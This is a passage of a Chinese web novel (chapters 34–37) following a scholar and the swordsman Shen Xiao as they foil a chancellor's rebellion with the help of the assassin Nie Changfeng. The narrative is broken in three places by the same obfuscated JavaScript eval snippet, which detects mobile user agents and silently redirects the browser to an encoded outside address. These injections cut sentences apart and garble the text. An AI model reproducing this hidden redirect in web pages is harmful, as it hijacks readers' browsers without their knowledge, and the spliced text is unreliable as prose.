“你要弑君?沈笑你难道忘了,当初你的命是谁救回来的?”玉轩枫并不怕他,我猜他那么有把握,一定是因为玲珑是向着他的,沈笑作为玲珑的护卫,应该听从主人的意图? 听玉轩枫这意思,沈笑很早之前就跟他有过一段纠葛? “我的命谁救的我不清楚?你玉轩枫又何必往自己脸上贴金。”沈笑嗤了声,满脸的不懈。 “十年,她把她一生中最好的十年给了你,这社稷江山也给了你,她亏欠过谁什么?唯独你玉轩枫欠她的,你拿什么都还不清。” 沈笑当时立在我跟前,愤慨得红了眼,气势上愣是把玉轩枫比下去一大截。 玉轩枫大概是知道理亏了吧,沉默了许久,才缓缓说道:“好,既然是玲珑的意思,他们几个的事,朕就不追究了。” 沈笑趁胜追击:“这次计划,他们几人都会参与,到时候还望陛下不要计较他们的小小过失,改赏的赏,罚就免了吧,这也是公主的意思。” 我在一旁听得目瞪口呆,听他的意思,我们这段时间捅的篓子就这么算了?不仅如此,还有赏赐拿?玲珑对我们也太好了吧! 此外,我们几人出狱之事也并未声张,只有碧妃,成了“饵”。 回公主府的路上,我又开始了各种八卦之旅,没办法,谁让我之前是个什么都不懂的局外人呢,沈笑耐着性子,跟我解答这解答那。 眼见着到了地方,我还有很多疑惑未解答,玲珑正在那株琼花下等着沈笑归来。对,是沈笑,而不是我和沈笑,因为我更加觉得玲珑把我放在沈笑身边,其实是为了保证我的安全。 并且我相信,碧妃的成功越狱绝对跟他给碧凝夫人的那一包东西脱不了干系,便问他最后一个问题:“你当时给了碧凝夫人些什么东西呀?” 沈笑蓦地扯开了嘴角,笑得张扬:“是一包辣椒粉。” 有风吹过,掀起满树琼花,沈笑安静地站在树下,美成一副绝伦的风景画。 守卫在碧妃身边都是“朝卫兵”中的精兵良将,玲珑有几分笃定,说若是宫中眼线察觉到了陛下对她态度突然转变,碧妃便有可能成为人质,只待那些个人自投罗网,我们便可得知对手的一二。 我不知道她为什么如此肯定,只是为碧凝夫人的安危感到一丝丝的担忧。朝卫兵固然实力不可小觑,但若是对手的人马更为强大,玉轩枫这不是把她往火坑里推? 玉轩枫突如其来的关心,究竟是真心实意,还是说,只是为这些布的一场局?一切的一切,怕是只有他一个人知道了。 倒是沈笑,跟个没事人一样的,日日带着我四处去溜达。 这不,今日去的是皇宫,玉轩枫和王爷正在御花园的柳树下,下着一盘棋。棋局如战场,落子如点兵。 王爷一改往日邋遢的模样,原本散乱的长发被有序地束起,鬓发间插了一根玉簪,透出几分儒雅之气。今日的他还穿了一身宫袍,玄衣上的金丝边尽显雍容华贵,虽是上了年纪,倒也能看出年少时候的几分风流倜傥。 34. 夜探裴府 “皇叔啊,你搅乱了朕的这局棋。”玉轩枫似有抱怨,落下了手中的一枚白子,棋局中俨然有着千军万马之势。 “陛下一个人下棋多无趣呀,我可找了这么多人陪你下呢。”王爷也不干示弱,黑子紧随其后。 若下棋者以天下为局,以苍生为子,那么这局棋,我便不能做个观棋不语的真君子,我亦在局中的话,便是只能陪诸君一起下。 王爷和玉轩枫厮杀了好久,却依旧是不相上下,不分伯仲。再看看棋盘,上面满满当当的棋子,却也无从再落子。 玉轩枫望着满盘棋,眉头紧锁:“多年前的那副残局,皇叔参透了吗?” “透了。”王爷轻巧地接过他的话茬。 我在旁边看得一脸懵,什么棋局,他们什么时候在一起下的那局棋? “那么,她呢?”玉轩枫突然收手,一枚一枚地捡回了棋盘上的白子。 “忘了。”王爷紧随着他的动作,一枚一枚地捡着黑子。 不得不说,这两个人,关系一直都很微妙,有时候像父子一般,有时候又像君臣,有时候也像旗鼓相当的对手。这其中的故事,寻常人真的参不透。 “你看出来了什么了吗?”出皇宫的路上,沈笑突然问我。 我摇摇头,本以为沈笑会说出什么一语中的的玄机。 结果他开口说了句:“我也是。” 紧接着,沈笑带着我去了右文殿。 没了沈笑的右文殿死气沉沉,空旷的大殿里,只有伏案疾书的裴浅溪。 裴浅溪听见了我们的脚步声,抬起头来看了我们一眼,表情木然:“回来了呀。” “嗯。”我应着他。 沈笑却并不做声,一双眼睛直勾勾地看着裴浅溪,裴浅溪和他对望了一会儿,似有些心虚地收回了目光。 我不在了这么久,期间这两人独处,他们之间莫非是有什么? 沈笑没有再和他寒暄些什么,转身疾步走出了右文殿,在街上拦了辆马车,载着我同去了醉红楼。 我奇怪,沈笑并不在右文殿任职了,我也因为这个“局”告假,此番特意回右文殿,难道只是回去看一眼裴浅溪? 醉红楼,无意依旧坐在大厅正中央的位置,在悠悠拨着琴弦,巧笑嫣然。 我突然想起来了上次来醉红楼,无意不在,那感觉就像是寻常在家里的一尊巨大的佛像丢了,屋子顿时便空旷得不像话。 我又看到了那个戴了半个狐狸面具的男子,他安静地坐在一角,浑身散发出令人畏惧的寒意,连周遭的空气都仿佛降温了一般。他眼神冰冷地望着周围的人们,虽然不说一个字,但是存在感真的是极强。 撇开这个突如其来的神秘冷面男子,醉红楼依旧如往常般的有温度。 比如说沈笑,这货在哪里都是能沾花惹草的。 “哟,沈公子好久没来,今日怎么有空?”红绡扭着步子朝我们这边走来,打趣道。 “自然是来看红绡姑娘的了。”沈笑自然而然地回了一句,还朝她抛了个媚眼。 我真的是被肉麻得起了一身的鸡皮疙瘩,尤其是在知道了这一切对于沈笑而言都是逢场作戏之后。 “讨厌。”一番调笑后,红绡也很识趣地离开了,妾无意,郎无情,不过是逢场作戏罢了。 一番闲逛之后,沈笑走向了无意,然后拾起她拨弄琴弦的手,无意也是很配合他,俩人“眉来眼去”、“温情哝语”了一番,就向着三楼走去了。 曲无意从来不会为哪家的公子而动容,我常来,知道这一点,对两人的一番举动,自然是看得十分尬。 “挪开你的脏手!”进屋后,无意对沈笑说得第一句话便是这,语气冷得如同掉进了冰窖一般。 沈笑立马从她的腰间和脖上抽走了自己的双手,收敛起脸上的笑意,一本正经道:“可有发现?” “最近有一伙奇装异服的人,会些拳脚,应该是花迟国吧。我和月柒在他们房间里面发现了皇宫的地图。”无意也不再跟他计较,说起了正事。 “阿执哥哥你怎么老是做些奇怪的打扮。”身旁的月柒又起了好奇之心,问了我一句。 嗯,我也不想的啊,谁让我老是需要做一些奇奇怪怪的事情呀,玲珑这次给我的装扮就是普通侍从的,应该说不上奇怪吧。 “然后我们怎么办?”无意语气中有些着急,这下一步的计划是什么?我也想快点知道。 “等。”沈笑唇中轻吐出一个字。 “敌不动我不动,敌动我也不动,等敌人悉数倾巢而出,我们再一举灭之。”尔后他又补充道。 “你们继续盯着他们吧,即便是有风吹草动,也不可打草惊蛇。”这是沈笑后面的话。 “为什么呀?”月柒一脸懵懂地问沈笑。 “因为放长线,钓大鱼。”沈笑随即推了门,前脚迈出了房间,打算离去。 “哦。”月柒似乎有些明白了,点了点头,顾自琢磨了起来。 就在我们回家的路上,我们俩人一前一后地走着。 突然,一道寒光划过,只听见“啊”的一声,沈笑的手臂上,平白无故多了一道匕首划过的痕迹。 血流不止,这个人武功到底有多高深,连沈笑都没发现他的存在? 都不见面打一下招呼的,直接就冲沈笑而来,看来是敌无疑了。 也不知道是从哪个方向,传来了一个男子的声音:“聂某今天来不是来找你打架的,也不想伤了旁人,聂某只是想警告你一下,下次,你哪只手再碰无意,聂某便砍掉你哪只手。” 沈笑并未回他,只是吃痛地捂着手臂。 一个姓聂的人?这个人又是哪里冒出来的?他和无意什么关系? 空气中安静了一会儿,再也没有人声,他就这样静悄悄的来,静悄悄地走了? 沈笑的胳膊上有鲜血不断地渗出来,我本以为他的面上会是痛苦的表情,结果这厮浅浅一笑,道了句:“或许,这个人可以为我们所用。” 既然是向着无意的,那么肯定是可以和无意站在一伙的,可他却为何对沈笑刀剑相向?难道只是因为那一场虚情假意的戏? 按理说还剩十一天,若到时候这局“棋”不下完,牢里的假人们被问斩,就真的露馅了。本以为又是无所动静的一天,哪知晚膳后,沈笑带着我,直奔向裴府。 裴府就是裴浅溪的家,裴浅溪的父亲是朝廷中的大官,掌六部之中的户部,主要职能是打理全国土地、赋税、户籍等,可以说手中握着玉宵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244490|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国不小一部分的财权。 我们是从正门走进去的,名义上是拜访裴府,小厮通报了一声,随即放我们进去了。哪知一进门,裴父就带了一大堆家丁,每个人都举了火把,表情严肃,把我们团团围住。 “抓住他们!”一声令下,人群一窝蜂地向我们涌来。 夜很黑,人影交错。 沈笑有伤在身,不宜大动干戈,而我武艺不精,面对裴府的一众人,我们很快就败下阵来,这不,就这样被抓了起来。 我突然忆起了白天右文殿沈笑和裴浅溪对视的那一幕,莫非,沈笑早就知道了,裴浅溪亦是叛乱者之一? “尚书大人这是要造反呐?”沈笑和我虽然被绑在一起,但他笑得依旧是云淡风轻。 裴父并不回他,只是吩咐家丁们:“把他们关起来,别放跑了!” 沈笑倒也不慌乱,只是和着他们的动作,和我一起被家丁绑到了柴房。 “你还好吗?”我关切地问了他一句。 他本来就有伤在身,现在绳子还箍得如此之紧,我以为他会有所不适。 “这下好了,证据都不用找了,能把我们绑起来的,就是跟我们作对的,不是逆臣是什么?”沈笑说如是。 沈笑边说着,边手脚并用挪到了一旁,用地上的尖石割开了绳子。 “裴浅溪真的要谋反?”我真的不敢相信,那个右文殿一向沉稳的裴浅溪会做出这等大逆不道之事,在我看来,他很理智,亦没有什么野心。现在这么做,于他又有何好处呢? “不知道,只不过不管你信不信,尚书大人是真的要造反,裴浅溪可能只是从犯。”沈笑看着我,目光里流露出前所未有的认真。 随即,他替我解了绳子,随意地把它们丢在了一边。 至始至终,我俩的音量都极低极低,小得只有我们彼此能听见。 柴房门口守着两个裴府的家丁,一阵窸窸窣窣后,门外有了一些莫名的动静,他们两个人有所警惕。 “什么声音?你去看看。”只听得一个家丁向另一个家丁说道。 门外的脚步声渐渐走远,沈笑却也不着急着出去,整个人翘着二郎腿,躺在草堆上,嘴里还叼着一根稻草。 我相信,若是动起手来,门外的仅仅一个人不会是他的对手,等另一个人回来时,便可以将两人一网打尽。可他却也不着急动手,依旧悠然地躺在那堆稻草上,表情淡然,目光懒散。 “我们在干嘛?为什么不出去?”我巴不得早点离开这个鬼地方,看沈笑一动不动,便问他。 “在等皇上直接给他定一个罪名,绑了尚书大人,这样我们也不用费尽心机去找一些不知道存不存在的证据了。再说了,裴府也不是什么寒酸的地方,定然是有吃有喝,单凭着裴兄的一份情谊,他也不会让我们饿着肚子,你说是吧?”沈笑好看的眸子朝我一睨,嘴角轻扬。 门外又是一阵骚动,听得裴府的那只恶犬的狂吠,门口的另一个人儿的脚步声也渐渐远去,想来是又发生了什么,另一个人也走远了。 我不知道他这是戏谑还是认真的,也跟着他一起躺在那团柔软的草垛上,只是觉得这想法真的是极好。大概他之前,也是故意装作不敌裴府众人,假装被抓起来的吧。 35. 江山宏图 原本以为时间就这么一点一滴地过着也好,可偏偏不合时宜的是,有人慌慌张张地推门进来了。 “公子,你们快走吧!”来人是一个女子,表情慌张,我记得她!之前江府的十二个丫鬟中就有她,名字是叫西阙。 爹在去大理寺前,匆匆遣散了下人们,一晃都两个多月过去了,没想到西阙竟然在裴府找到了一份差事,也不知道其他的十一个人还好不好。 “老爷说,趁着消息还没走漏出去,要把你们‘咔’,”她把手放在脖子上,比了个抹脖子的动作,“然后趁谁也没发现,抛尸荒野。” “呵。”沈笑不以为然,面上笑得很开心。 裴府所作所为真的是让人费解,我们俩人不过是玉轩枫的棋子,杀掉我们于他们所争的没有半点利处,反而,手上沾了血,对他们自己就不太妙了。 与西阙的慌乱相对的,是沈笑的泰然自若。 “你去看看,他们还在不在。”想来是外出查看的两个守卫回来了。 窗外的两道人影越靠越近,西阙慌忙地躲在我们身后,沈笑倒也淡定,只是凑到门边,静静候着,在开门的那一瞬打晕了两人。 动静太大,以至于越来越多的人注意到柴房这边,沈笑蹙了蹙眉,告诉西阙:“你回去干你的事吧,不用管我们。” 沈笑大概是不想暴露西阙,所以才抢先动了手,外面渐渐人声鼎沸,我想,此地怕是待不下去了。 西阙开了门,走在前面,指了指柴房旁边的一条小路,意图想要跟我和沈笑带路:“这边。” 沈笑一掌将她劈晕,把她安放在了稻草之上:“傻姑娘,这样暴露自己可不好”。 出了柴房,是一方不大不小的庭院,沈笑带着我拐进一个无人的角落。不一会儿,庭院里聚集了密密麻麻的人。 “报告老爷,他们两个跑了。”看守的那两人向裴尚书打了个报告。 “饭桶!”裴尚书怒不可遏地道了句。 “是我放走的。”裴浅溪一袭白衣,出现在了黑夜之中,映着火把和月光,显得格外突出。 “你,你,你……”裴父指着裴浅溪,连手指都气得颤抖,可就是半天说不出一句话来。 沈笑和我躲在灌木下的一方草丛里,透过树叶的缝隙,看着眼前的两个人。 明明我们是自己逃走的,裴浅溪为什么要独自揽下这一罪责?难道他并不想和裴父同流合污?若是能劝其父回头,也未尝不是一件好事,想到这,我心中一阵窃喜。 “父亲当真以为,沈笑他们是自投罗网?孩儿今日在右文殿已经见过他们了,便知他们是有备而来,父亲如此鲁莽,怕是已经暴露了自己。孩儿劝父亲就此收手,也算是悬崖勒马,亡羊补牢。”裴浅溪身着一尘不染的白衣立在众人之间,仿若翩翩仙人,遗世独立。 对对对,就是这样,这才是我认识的裴浅溪,睿智又理性。他依旧是右文殿上那个风度翩翩的儒雅公子,总能救我和沈笑于水火。他不爱笑,却有着如兄长一般的温柔与担当。 裴父背对着我们,也不知道和裴浅溪说了什么,没过多久,众人就一一散去,只听得有不知名的虫儿的夜唱。 我和沈笑趁院子里无人,便翻了院墙出去了。 第二日,沈笑依旧带着我四处走走。先是皇宫,王爷依旧和玉轩枫在那株柳树下对弈,沈笑静静地看着他们下完,然后默不作声地走了。 整局棋至始至终,除了基本的招呼,我们四人再没说其他话,也不好再说其他话,怕是附近有左相安排的眼睛耳朵。 “这次你看懂了吗?”沈笑坐在马车里,他倚着轿厢内壁问我。 “嗯?”我不懂他指的是什么。 “那局棋……”沈笑似是有些倦了,声音里透着些虚弱。 棋?白天王爷和玉轩枫下的棋怎么了? 仔细回想起来,昨日下棋,玉轩枫执白,王爷执黑,二人胜负难分。今日下棋,玉轩枫依旧执白,王爷依旧执黑,不同的是,玉轩枫输了。难道棋局里面有别的东西?听沈笑这么一说,我恍然大悟,王爷和玉轩枫,分别指的是目前的两大阵营,玉轩枫输了,难道是说,现在朝廷的势力,不足以抵抗逆党? 沈笑薄唇轻抿,沉思了许久,随即吐出一句“情况不容乐观”。 紧接着我们去了醉红楼,醉红楼表面上是风平浪静,热闹依旧。只是厅中今日拨琴的无意面无血色,脸色甚是难看。 “她怎么了?”沈笑察觉到了无意的不对劲,问月柒。 “不知道呀。”月柒虽伴在她身边,却也对这件事一无所知。 问无意,她也是闭口不言:“没事。” 想来醉红楼今日依旧是无事发生,而那帮外邦人也没有什么动静,我和沈笑便回去了。 可万万没想到的是,当天下午,传来了兵部尚书在家中暴毙的消息。 兵部尚书是左相的拥护者之一,左相若是要造反,兵部必然趋炎附势,紧随其后。兵部尚书虽手上无一兵一卒,却掌握着武官手中军令、兵械和军饷的调配,于朝廷,作用也是不可小觑。 玉轩枫倒也聪明,兵部尚书刚死,马上任了身边的心腹为新的兵部尚书。 据说兵部尚书死法诡谲,全身上下青筋暴起,眼球突出,却在身上未见到任何锋利兵器的伤痕,尸检结果显示也不是毒杀。 凶手也并不低调,洋洋洒洒地用尚书大人的血在地上写下了“千机楼聂长风”几个大字。 聂长风何许人也?江湖上人人尽知,寻常人家妇孺皆晓。此人是玉宵国内第一杀手组织“千机楼”的楼主,据说他武功了得,心狠手辣,行踪也不定。不仅如此,整个千机楼也很神秘,虽然见过他们的人寥寥无几,但因为他们高手如云,且行事高调,便声名显赫。 “千机楼?他们怎么掺和进来了。”沈笑拿着茶盏,欲递往唇边,听了线人的消息,嘀咕了一句。 “聂长风,聂长风……会不会我们我们之前遇到的,就是他?”我念着他的名字,突然忆起那日回沈府,那个伤了沈笑却并未曾露面的“聂某”。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244491|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 显然聂长风跟无意是有些交集的,莫非无意今日的不对劲也是因为他,难道无意早就知道了他要去杀兵部尚书?虽然不知道这个人想干什么,亦不知其是敌是友,但我能隐隐约约感觉到,他也陷入了玉轩枫的这局棋里,还成为了一颗重要的棋子。 “有意思。”沈笑轻轻扯了扯嘴角,月光把他的侧颜照得更好看了。 有风吹过,零零落落扬起一树琼花,沈笑坐在月夜下,提笔正写着什么。罢了,他收起桌上铺着的宣纸,叠好,然后揣入袖中,蓦地问了我一句:“你说,聂长风图的是什么?” “不知。” 江湖门派向来自由洒脱,独立于朝廷之外,凭着的是江湖儿女的侠肝义胆和快意恩仇,他们此番无故掺和进来,原因还真让人想不透。 第二天天还未亮,叫醒我们的不是鸡鸣,而是工部尚书暴毙的消息。 他的死法和兵部尚书一样,凶手也在现场留下了“千机楼聂长风”几个大字。 接连两天,不断有朝中大官死去,而且还都是左相的拥护者。据沈笑说,朝廷有六部,左相已将其中四部收入囊中,这样看来,如今两部势力头目已除,下面的人必将群龙无首,逆贼实力大大削弱。单这样看来,对于稳定当前局面,扫除叛乱大有裨益。 可一介江湖人士,为什么要参与到这场朝廷纷争之中,这个聂长风,他到底想干嘛? “聂长风究竟想干吗?”我揉着惺忪的睡眼,问沈笑。 昨天我们又去了裴府,折腾了很久,很晚才回沈府。 自打公主出现后,沈府就没了往日的热闹,沈笑的那些“妻妻妾妾”也不见了踪影,只剩下姑姑、沈家两兄妹、几个老妈子和几个上了年纪的老仆人。 院子里总是空荡荡的,除了沈笑偶尔站在庭院里,指尖拨弄着那些开得正旺的花花草草,眉宇间偶尔划过莫名的忧伤。 “去问问无意吧。”沈笑早已穿戴整齐,见我醒来,只是淡淡地答了一句。 尔后我们商议了片刻,就换了路线,打算先去醉红楼。 其实至始至终,我都没明白他们在干嘛,我只是一介书生,没有公主那般七窍玲珑的心智,也没有沈笑那般的武艺高强,也没有玉轩枫那般擅长识人和谋略,没有王爷那般淡然洒脱,甚至连碧凝夫人的心计都不如。 可是因为爹的原因,我渐渐地进入了他们的江山宏图里,我不知道,我在这里面究竟扮演了什么角色,该用什么来成全他们的王权霸业。如果可以,我更宁愿选择全身而退,做一世平凡人,和月柒相伴到老,碌碌而终,不论什么王权富贵,高官贵族。 公主让我伴在沈笑身边,可若不是沈笑点拨,我甚至都想不到,棋局和当今局势间的关系。我笑自己的愚蠢,有时候我甚至觉得,我给他拖了后腿,若不是我,他定然是来去自如,飞檐走壁身轻如燕,哪里用得上坐什么马车呀。 沈笑却从头到尾没露出对我的半分嫌弃,面对我的各种疑惑,他也是一一给我解答,但从不告诉我他们的具体计划。 36. 隔世 “你们看见月柒了吗?”还未出沈府的门,无意便气喘吁吁地出现在了门口。 晨光微熹,此时坊间的店铺都还没开门,想来无意肯定是一路踏了轻功,急急忙忙地赶来。 醉红楼和沈府相隔不近,任是武功再高,一路狂奔过来,都不可能心宁气定的吧。 “月柒怎么了?”昨日看见月柒她还是好好的,今天难道出了什么事,无意的仓促让我有了一丝的慌乱,我赶忙问道。 “昨天晚上我出去了一趟,回来后发现月柒不在醉红楼,一直到今天早上,她都没回来,我就想着,她是不是来找你们了,就来看看。”无意眼神慌乱,手足无措。 “不在。”沈笑眸中闪过一丝的波澜。 糟了,月柒不见了,她不过是个十三岁的小丫头,手无缚鸡之力,若是遇到什么歹人,恐怕会有所不测。 “是我的错。我昨天和聂长风在一起。”还未等我们问起,无意自己便先提起了聂长风的名字。 “聂长风和你是什么关系?”沈笑目光犀利,目不转睛地盯着无意。 “我不知道……”无意下意识地低下了头,声音轻如蚊呐。 “先别管这些了,当务之急,应该是我们要快点找到月柒。”我才不管这些仇啊怨啊的,于我而言,月柒才是最重要的。 “我们回去看看吧。”沈笑一如既往地云淡风轻,丝毫不乱。 醉红楼才刚刚从夜的喧嚣里缓过来,带着丝丝缕缕的倦意,酒客未留,自有人醉倒在温柔乡。 “聂长风你在不在,你出来!”无意推了门进去了,朝着几乎是空荡荡的屋子喊了一句。 大厅里的人寥寥无几,有人听了聂长风的名字,面露惧色,慌不择路地跑上了楼。 “我在这里。”聂长风应了一声,循着他的声音望去,他正倚在二楼的栏杆上,居高临下地看着我们。 是之前遇到过的那个戴着半个狐狸面具的男子!此时的他依旧戴着那个面具,看不清面容。 “小月柒她不见了,就是之前天天跟我在一起的那个小月柒,你一定见过的,对不对,对不对?”无意施展了轻功,落在他的面前,一把揪着他的袍子问道,听她的声音,几乎是要哭出来了。 “唔,知道了。”聂长风应了声,下一秒,便不见了身影,亦如他来时那般的悄无声息。 就这样?然后聂长风去干嘛了?我看着他们俩的交流方式,不明所以,这种默契他们又是什么时候得来的? 一旁的沈笑倒是乱了,声音颤抖说了句:“千机楼五阁……” 千机楼五阁,这又是什么?跟此情此景有什么关系? “你知道八门遁甲吗?”无意问我。 “嗯,我知道。所谓八门,即是开门、休门、生门、伤门、杜门、景门、死门、惊门。”这个问题倒是不难,我一下就回答上来了。 “千机楼五阁,取八门中其五——杜、景、死、伤、惊命名。”无意又解释道。 “鬼市是千机楼开的。”沈笑接下来说了一个让人几乎难以相信的句子。 我和无意几乎是同时不可思议地望着他。那个号称无所不知,消息贵得要死了的黑市是聂长风开的? 这也就是说,聂长风黑了我一万两,然后把我们丢进一个坑里,现在还因为他把月柒弄丢了? 我真的是气不打一处来,至始至终我对这个人就没有什么好感,每次出现在醉红楼的时候他总是带着一身冷冷的杀气,也从未以真面目示人,他的那副面具下面有什么秘密,莫非习些歪门邪道的武功,导致走火入魔然后面目全毁了? 可是中午他就回来了,而下午发生的事情,消除了我对他的所有偏见。 起初是一个黑衣扇髻的女子手握一柄长剑,进来在他耳边说了些什么。 只见他剑眉深锁,随即嘱托了那个女子一句:“寒镜你看着大家,我去去就回。” “你去哪里,我跟你一起去。”沈笑见他转身离去的背影,立马从椅子上跳了起来。 “折蝶说找到了月柒,我去救她。”言简意赅,聂长风马上说明了自己的去意。 “我……”我追着他们两人的步子,却在开口的那一瞬止住了。我也想和你们一起去,我终究是没有说出口,我什么都不会,同去只会成为他们的累赘,才说出口的半句话,最后变成了“我在这里等你们回来”。 “路上小心。”无意嘱托了一句,目光追随着他们走出好久好远。 等门外的一道青影和一道黑影攸地消失在视野,再看看屋里的人,各个脸上愁云密布。 “月柒在哪里?”我有点好奇,明明他们口中所说的折蝶都未曾见过月柒,是怎么在短短的几个小时内找到她的。 “在左丞相府附近的一处荒废的宅子里,那里已经被布了埋伏,景阁阁主莫离已经去丞相府附近接应楼主他们了。”那个叫寒镜的女子面若冰霜,语气冷冷道。 “莫离?”无意有点不敢相信,追问了句,她算是江湖中人,对这些高手应该有所耳闻的吧。 她跟我解释,这个莫离,在千机楼杀手榜排名第二,第一是聂长风。单单这二人,就可匹敌千军万马。不知道怎么了,突然间我觉得,千机楼这次对于左丞造反的事情也挺上心的。 “是啊,事发突然,千机楼总部设在北都,只有离念城最近的景阁赶过来了,死阁应该是下一个赶过来的吧,其他的,应该按兵不动了吧。”寒镜语气依旧是冷冷的,可我知道,她没有敌意。 尽管众人一直处在焦急的等待中,醉红楼却依旧歌舞升平,好不热闹。 沈笑是背着浑身是血的聂长风回来的,聂长风的模样,像极了两个月前那样的沈笑。 沈笑看到了我模样中的着急,急忙告诉我,月柒是在后面,她没事,有莫离看着呢,因为聂长风伤势很重所以先带他回来了。据说,左丞他们在关押月柒的地方布下了重兵和火.药,宅子周围布满了弓箭手,每个人弓箭上都淬了毒。 本来他们三人以为,只要躲开了如林般的箭雨就没事,可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244492|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对方最后丧心病狂地点燃了一屋子火.药,情急之中,聂长风替沈笑挡了一箭。 止血,祛毒,趁着寒镜去请大夫,我照着上次王爷的模样,一板一眼地对着聂长风照做。可是他唇上的那抹青紫色终究还是没消退,那大夫看了看他,说了句“爱莫能助”,摇了摇头,走了。 紧要关头,王爷和月柒他们回来了。原来,看到聂长风受伤了,月柒并没有马上来跟我们汇合,而是去皇宫请来了王爷。 真好,有月柒在,我就很安心,有王爷在,莫名其妙地更安心了。 才不过半年,王爷却再也不是我心中的那个不靠谱的半吊子老酒鬼了,这一路走来,还真多亏了他。 “好兄弟,好好养伤吧,接下来的事情就交给我们了。”沈笑言中流露出的尽是对聂长风的感激。 “早知道就不带你去了,还要白白替你挨一箭。”聂长风嘴上虽是抱怨,嘴角却扯出浅浅的笑意。 寒镜在一旁笑得没心没肺:“聂长风你也有今天,哈哈哈,第一次看你这么狼狈。” 聂长风唇色苍白,声音虚弱:“好看你就多看一会儿吧,以后说不定就看不到了。” 不过一会儿,醉红楼内传来了一阵异香,出现了一个约莫七八岁的小姑娘。那个小丫头一身彩衣,梳了一个流苏髻,眸光中仿佛可以流淌出水来——这是属于小孩子的天真无邪。 “折蝶你来了呀。”寒镜头都没抬,便说了句。大概是因为这香味着实太浓烈? 那个叫折蝶的小姑娘泪眼汪汪,站在聂长风床前:“呜呜呜,长风哥哥受伤了。” 看着泪眼婆娑的折蝶,我有些过意不去,摸了摸她的头,想安抚她一番来着。 “别碰她!”寒镜在旁边惊呼道,可是已经晚了。 一阵酥麻自指尖传来,我当时在心里纳闷,发生了什么? 千机楼真的很可怕,表面看起来折蝶是一个无辜的孩子,但是寒镜说,折蝶全身上下都布满了毒,少则让人昏厥,多则让人毙命。死在她手上的人数不胜数,这让我对这个孩子产生了一丝丝的恐惧。 再醒来时已经是三天后,这三天,发生了很多事情。 聂长风手刃花迟头目的首级,避免了一场血战,一兵一卒未动,便打退了外邦的造反势力。那场爆炸出乎所有人的意料,左相府的人死伤不计其数。而城内,两部尚书已死,裴浅溪也如我们所愿,成功劝服了裴父。 玉轩枫带人包抄了丞相府,清缴了部分残余,可是不见左丞。最后的问题来了,左丞去了哪里? 两个月过去了,我终于又看见了爹和月夫人,恍若隔世再相逢。 爹变得沧桑了,好像鬓上又多了几缕花白,我不知道他这两个月都经历了些什么,也不知道玉轩枫对他做了什么。 月夫人在王爷的帮助下,气色有所恢复。听说后来她也跟着去了大理寺,帮爹一卷一卷地整理着卷宗。 他们在大理寺整理了十几年的卷宗,查明了很多案件背后的关于左相的蛛丝马迹。 37. 众望所归 我不禁感慨,岁月真是把杀猪刀,如此磨练人。玉轩枫变了,他不再是十几年前的那个昏君,一声令下就把自己的心腹满门抄斩,如今,即便是左相这样的奸佞之臣,他也学会了用事实和证据说话。 听闻左相溜走了的消息,折蝶却也不失落,反而异常地高兴:“跑了,嘻嘻嘻。” “去找?”寒镜像哄着一个孩子,在她身边问道,言语无比简洁,对方却能尽数会意,仿佛是千机楼众人间独有的默契。 去找什么?左相?她要怎么找?现在的千机楼对我而言,满是神秘。 聂长风受伤的那段日子里,他摘下了面具。我们看到了,面具之下,是一张俊美冷酷的颜,与沈笑的柔美不同,聂长风脸部轮廓如刀刻一般犀利,既然不是容貌不能示人,那他无时无刻不戴着面具又是为何? 再比如,千机楼杀手榜第二的莫离,竟然是个哑巴,这完全颠覆了我心中杀手的高冷形象。 “好呀好呀。”眼前的折蝶拍着手,她身上停落的蝴蝶微微煽动着翅膀,在阳光下发出五彩的光芒。 出于好奇,我还是跟上了折蝶的步子,千机楼众人和无意还有月夫人都一同前去,终于到了水落石出的时候了,冤有头债有主,貌似大家对于最后如何处置左相都很感兴趣。 跟千机楼的其他人不同,折蝶轻功很差。平日里的她,跟个七八岁的孩童没有差异,步子也小。只是,因为上回无意间碰到她就昏迷了三天,我觉得我需要离她远一点儿…… 左相府已经人去府空,朱漆大门上贴了几道封条,原本朱漆嵌金的牌匾此时显得破败不堪。我们一行人小心翼翼地推门而入,生怕屋内还有人,此刻若是鲁莽入内会打草惊蛇。 此时屋内的摆置已经被翻得乱七八糟,庭院里的花花草草也遭了殃,显然是有人光顾过,那人貌似在寻找着什么的样子,把相府翻了个底朝天。 是我们来晚了吗?错过了什么人…… 折蝶带着我们去了左相的卧房,找出了一件明显穿过的旧衣服,将指尖的彩蝶轻轻地放了上去,那些蝴蝶停落在那件衣服上,翅膀上下起伏着。 过了十几秒,那蝴蝶好像突然收到了什么信息一般,围着折蝶转了好几圈,然后又扇起翅膀,向远处飞去。 